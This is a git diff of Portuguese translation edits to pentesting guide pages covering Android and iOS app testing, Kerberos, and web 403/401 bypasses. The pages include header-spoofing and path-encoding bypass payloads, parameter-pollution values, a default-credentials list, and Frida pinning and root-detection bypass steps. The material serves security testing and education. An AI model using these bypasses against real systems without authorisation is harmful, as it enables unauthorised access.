@@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 
 Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rápido.
 
-No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (note que você precisa de root para acessá-las).
+No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (note que você precisa de root para acessá-lo).
 
 Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
 
-O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou que seja visualizado em displays não seguros.
+O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou seja visualizado em displays não seguros.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
@@ -486,7 +486,7 @@ Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a a
 
 Os desenvolvedores frequentemente criam componentes proxy como atividades, serviços e receptores de broadcast que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
 
-O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
+O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
 
 ### Principais Conclusões
 
@@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\
 Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
 
-O MobSF também permite que você **diff/Compare** análises e integre **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **upload** em vez do arquivo.
+O MobSF também permite que você faça uma análise de **diff/Comparar** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
 
 ### Análise Dinâmica Assistida com MobSF
 
 **MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
 O **analisador dinâmico do MobSF** pode:
 
-- **Dump de dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
+- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas pelo "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
 - Capturar **tráfego HTTPS**
 - Usar **Frida** para obter **informações em tempo de execução**
 
@@ -538,11 +538,11 @@ A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida**
 
 **Frida**
 
-Por padrão, ele também usará alguns Scripts Frida para **burlar SSL pinning**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
+Por padrão, ele também usará alguns Scripts Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
 O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
 
 Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
-O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
+O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados de seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
@@ -553,9 +553,9 @@ Além disso, você tem algumas funcionalidades auxiliares do Frida:
 - **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
 - **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
 - **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
-- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API Android.
+- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
 
-Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
+Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
 
 **Shell**
 
@@ -570,7 +570,7 @@ receivers
 ```
 **Ferramentas HTTP**
 
-Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visualização mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
+Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
 Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
 Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
@@ -619,7 +619,7 @@ SUPER é um aplicativo de linha de comando que pode ser usado no Windows, MacOS
 
 Todas as regras estão centradas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
 
-Baixe os binários mais recentes na [download page](https://superanalyzer.rocks/download.html)
+Baixe os binários mais recentes na [página de download](https://superanalyzer.rocks/download.html)
 ```
 super-analyzer {apk_file}
 ```
@@ -631,13 +631,13 @@ StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçado
 
 O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
 
-Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
+Baixe[ a versão mais recente](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ./stacoan
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
+O AndroBugs Framework é um sistema de análise de vulnerabilidades do Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -659,7 +659,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 **MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para auxiliar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
 
-Ele é capaz de:
+É capaz de:
 
 - Extrair código Java e Smali usando diferentes ferramentas
 - Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
@@ -678,7 +678,7 @@ Note que dependendo do serviço e configuração que você usa para ofuscar o c
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-De [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
+Do [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode, bem como detectar e remover instruções não utilizadas. ProGuard é software livre e é distribuído sob a Licença Pública Geral GNU, versão 2.
 
 ProGuard é distribuído como parte do SDK do Android e é executado ao construir o aplicativo em modo de lançamento.
 
@@ -686,11 +686,11 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi
 
 Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(Desse guia) Na última vez que verificamos, o modo de operação do Dexguard era:
+(Daquele guia) Da última vez que verificamos, o modo de operação do Dexguard era:
 
 - carregar um recurso como um InputStream;
 - alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
-- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reversor;
+- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reverser;
 - alimentar o resultado descriptografado a um ZipInputStream para obter um arquivo DEX;
 - finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
 
@@ -706,7 +706,7 @@ Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de seguran
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizada.
+É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação é usado.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -31,9 +31,9 @@ $ instruments -s devices
 ```
 ### **Acessando o Shell do Dispositivo**
 
-O **acesso SSH** é habilitado instalando o **pacote OpenSSH** após o jailbreak, permitindo conexões via `ssh root@<device_ip_address>`. É crucial alterar as senhas padrão (`alpine`) para os usuários `root` e `mobile` para proteger o dispositivo.
+O **acesso SSH** é habilitado instalando o **pacote OpenSSH** após o jailbreak, permitindo conexões via `ssh root@<device_ip_address>`. É crucial mudar as senhas padrão (`alpine`) para os usuários `root` e `mobile` para proteger o dispositivo.
 
-O **SSH sobre USB** se torna necessário na ausência de Wi-Fi, usando `iproxy` para mapear portas do dispositivo para conexões SSH. Essa configuração permite o acesso SSH através de USB executando:
+O **SSH via USB** se torna necessário na ausência de Wi-Fi, usando `iproxy` para mapear portas do dispositivo para conexões SSH. Essa configuração permite o acesso SSH através do USB executando:
 ```bash
 $ iproxy 2222 22
 $ ssh -p 2222 root@localhost
@@ -56,7 +56,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
 ```
 ### **Ferramentas de Interface Gráfica do Usuário**
 
-**Usando iFunbox e iExplorer:** Essas ferramentas GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox do aplicativo, a menos que o dispositivo esteja jailbroken.
+**Usando iFunbox e iExplorer:** Essas ferramentas GUI são úteis para gerenciar arquivos em dispositivos iOS. No entanto, a partir do iOS 8.4, a Apple restringiu o acesso dessas ferramentas ao sandbox da aplicação, a menos que o dispositivo esteja jailbroken.
 
 ### **Usando Objection para Gerenciamento de Arquivos**
 
@@ -90,9 +90,9 @@ otool -Vh Original_App
 python change_macho_flags.py --no-pie Original_App
 otool -Vh Hello_World
 ```
-**Identificando a Seção Criptografada e Despejando a Memória:**
+**Identificando Seção Criptografada e Dumping de Memória:**
 
-Determine os endereços de início e fim da seção criptografada usando `otool` e despeje a memória do dispositivo com jailbreak usando gdb.
+Determine os endereços de início e fim da seção criptografada usando `otool` e faça o dump da memória do dispositivo com jailbreak usando gdb.
 ```bash
 otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 dump memory dump.bin 0x8000 0x10a4000
@@ -138,7 +138,7 @@ bagbak --raw Chrome
 ```
 #### **r2flutch**
 
-**r2flutch**, utilizando tanto radare quanto frida, serve para decriptação e despejo de aplicativos. Mais informações podem ser encontradas na sua [**página do GitHub**](https://github.com/as0ler/r2flutch).
+**r2flutch**, utilizando tanto radare quanto frida, serve para decriptação e dumping de aplicativos. Mais informações podem ser encontradas na sua [**página do GitHub**](https://github.com/as0ler/r2flutch).
 
 ### **Instalando Aplicativos**
 
@@ -164,7 +164,7 @@ Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod
 
 ## Referências
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -4,9 +4,9 @@
 
 ## Informações Básicas
 
-**Kerberos** opera com base em um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
+**Kerberos** opera com um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
 
-Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que eles interajam com os recursos da rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
+Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que interajam com recursos de rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
 
 Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre o acesso a recursos é delegado a serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Este design permite uma separação de preocupações entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para a gestão de recursos em redes distribuídas.
 
@@ -15,7 +15,7 @@ Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Para aprender a abusar do Kerberos, você deve ler o post sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Para aprender a abusar do Kerberos, você deve ler o post sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 
 ## Mais
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -2,19 +2,19 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Fuzzing de Verbos/Métodos HTTP
+## HTTP Verbs/Methods Fuzzing
 
-Tente usar **verbos diferentes** para acessar o arquivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
+Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
-- Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma **resposta 200** para **HEAD** com `Content-Length: 55` significa que o **verbo HEAD pode acessar a info**. Mas você ainda precisa encontrar uma maneira de exfiltrar essa info.
+- Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma **resposta 200** para **HEAD** com `Content-Length: 55` significa que o **verbo HEAD pode acessar a informação**. Mas você ainda precisa encontrar uma maneira de exfiltrar essa informação.
 - Usar um cabeçalho HTTP como `X-HTTP-Method-Override: PUT` pode sobrescrever o verbo usado.
 - Use o verbo **`TRACE`** e, se você tiver muita sorte, talvez na resposta você também possa ver os **cabeçalhos adicionados por proxies intermediários** que podem ser úteis.
 
-## Fuzzing de Cabeçalhos HTTP
+## HTTP Headers Fuzzing
 
 - **Mude o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 - Tente [**usar outros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso.
-- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com algumas combinações apenas) e outras técnicas. Para fazer tudo isso, eu criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com algumas combinações apenas) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -35,17 +35,17 @@ Se o **caminho estiver protegido**, você pode tentar contornar a proteção do
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Se a página estiver **atrás de um proxy**, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
-- Fuzz [**cabeçalhos HTTP especiais**](special-http-headers.md) em busca de diferentes respostas.
-- **Fuzz cabeçalhos HTTP especiais** enquanto fuzzing **Métodos HTTP**.
+- Se a página estiver **atrás de um proxy**, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Fuzz [**cabeçalhos HTTP especiais**](special-http-headers.md) procurando por diferentes respostas.
+- **Fuzz cabeçalhos HTTP especiais** enquanto fuzzing **HTTP Methods**.
 - **Remova o cabeçalho Host** e talvez você consiga contornar a proteção.
 
-## **Fuzzing de Caminho**
+## Path **Fuzzing**
 
 Se _/path_ estiver bloqueado:
 
-- Tente usar _**/**_**%2e/path \_(se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também**\_\*\* /%252e\*\*/path (dupla codificação de URL)
-- Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados de volta, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
+- Tente usar _**/**_**%2e/path \_(se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também**\_\*\* /%252e\*\*/path (double URL encode)
+- Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados novamente, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
 - **Outros bypasses de caminho**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -68,10 +68,10 @@ Se _/path_ estiver bloqueado:
 - {“id”:\[111]} --> 200 OK
 - {“id”:111} --> 401 Unauthriozied
 - {“id”:{“id”:111\}} --> 200 OK
-- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (Poluição de Parâmetro JSON)
-- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Poluição de Parâmetro)
+- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
+- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
 
-## **Manipulação de Parâmetro**
+## **Parameter Manipulation**
 
 - Mude **o valor do param**: De **`id=123` --> `id=124`**
 - Adicione parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
@@ -80,21 +80,21 @@ Se _/path_ estiver bloqueado:
 - Use caracteres especiais.
 - Realize testes de limite nos parâmetros — forneça valores como _-234_ ou _0_ ou _99999999_ (apenas alguns valores de exemplo).
 
-## **Versão do Protocolo**
+## **Protocol version**
 
 Se estiver usando HTTP/1.1 **tente usar 1.0** ou até mesmo teste se **suporta 2.0**.
 
-## **Outros Bypass**
+## **Other Bypasses**
 
 - Obtenha o **IP** ou **CNAME** do domínio e tente **contatá-lo diretamente**.
 - Tente **estressar o servidor** enviando solicitações GET comuns ([Funcionou para esse cara com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
 - **Mude o protocolo**: de http para https, ou de https para http
 - Vá para [**https://archive.org/web/**](https://archive.org/web/) e verifique se no passado aquele arquivo estava **acessível mundialmente**.
 
-## **Força Bruta**
+## **Brute Force**
 
 - **Adivinhe a senha**: Teste as seguintes credenciais comuns. Você sabe algo sobre a vítima? Ou o nome do desafio CTF?
-- [**Força bruta**](../../generic-hacking/brute-force.md#http-brute)**:** Tente autenticação básica, digest e NTLM.
+- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Tente autenticação básica, digest e NTLM.
 ```:Common creds
 admin    admin
 admin    password
@@ -114,5 +114,4 @@ guest    guest
 - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
 - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
 
-
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/README.md

@@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search **por** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
 
 ### **Verifique se há algum WAF**
 
@@ -69,9 +69,9 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
@@ -86,31 +86,31 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (php tem muitos truques interessantes que podem ser explorados)**](php-tricks-esp/)
+- [**PHP (php tem muitos truques interessantes que podem ser explorados)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
 
-_Considere que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
-Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada antes** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
+_Leve em conta que o **mesmo domínio** pode estar usando **diferentes tecnologias** em diferentes **portas**, **pastas** e **subdomínios**._\
+Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** novos truques (e me avise!).
 
 ### Revisão de Código Fonte
 
 Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**:
 
-- Há um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web?
-- Como e onde são salvas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
+- Existe um **Change-log ou Readme ou arquivo de Versão** ou algo com **informações de versão acessíveis** via web?
+- Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)?
 - As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
 - Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
 - Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
-- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida em um commit antigo**)?
+- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida dentro de um commit antigo**)?
 
 {{#ref}}
 code-review-tools.md
@@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 
 Se um CMS for utilizado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
 
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** websites para questões de segurança. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ou** [**(M)oodle**](moodle.md)\
